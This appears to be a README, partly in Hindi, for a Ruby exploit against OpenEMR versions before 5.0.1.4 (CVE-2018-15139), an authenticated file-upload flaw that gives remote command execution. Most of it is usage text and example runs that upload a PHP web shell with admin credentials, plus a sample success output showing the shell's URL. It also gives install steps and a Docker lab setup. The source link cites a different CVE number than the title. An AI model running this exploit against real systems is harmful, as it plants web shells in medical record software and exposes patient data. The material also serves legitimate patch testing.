
OpenEMR < 5.0.1.4 - (प्रमाणित) फ़ाइल अपलोड - दूरस्थ कमांड निष्पादन
OpenEMR < 5.0.1.4 - (प्रमाणित) फ़ाइल अपलोड - दूरस्थ कमांड निष्पादन
CVE-2018-15139 के लिए शोषण।
$ ruby exploit.rb -h
OpenEMR < 5.0.1.4 - (Authenticated) File upload - Remote command execution
Source: https://github.com/sec-it/exploit-CVE-2019-14530
Usage:
exploit.rb exploit <url> <filename> <username> <password> [--debug]
exploit.rb -h | --help
Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<filename> Filename of the shell to be uploaded
<username> Username of the admin
<password> Password of the admin
--debug Display arguments
-h, --help Show this screen
Examples:
exploit.rb exploit http://example.org/openemr shell.php admin pass
exploit.rb exploit https://example.org:5000/ shell.php admin pass
$ ruby exploit.rb exploit http://172.24.0.3 agent.php admin pass
[+] File uploaded:
http://172.24.0.3/sites/default/images/agent.php
gem का उपयोग करते हुए उदाहरण:
bundle install
# or
gem install httpx docopt
चेतावनी: यह सेटअप निश्चित रूप से उत्पादन उपयोग के लिए उपयुक्त नहीं है!
$ sudo docker-compose up
आधिकारिक OpenEMR Docker छवि में अपलोड फ़ोल्डर अनुमतियाँ खराब हैं, इसलिए कंटेनर से कनेक्ट करना और अनुमतियों को ठीक करना आवश्यक है, जैसे:
$ sudo docker exec -ti exploit-cve-2018-15139_openemr_1 /bin/sh
$ chmod u+w /var/www/localhost/htdocs/openemr/sites/default/images/
docker-compose.ymlयह EDB-49998 का बेहतर पुनर्लेखन है।
यह कमजोरी Project Insecurity द्वारा पाई गई थी।
मूल शोषण और कमजोरी का विश्लेषण: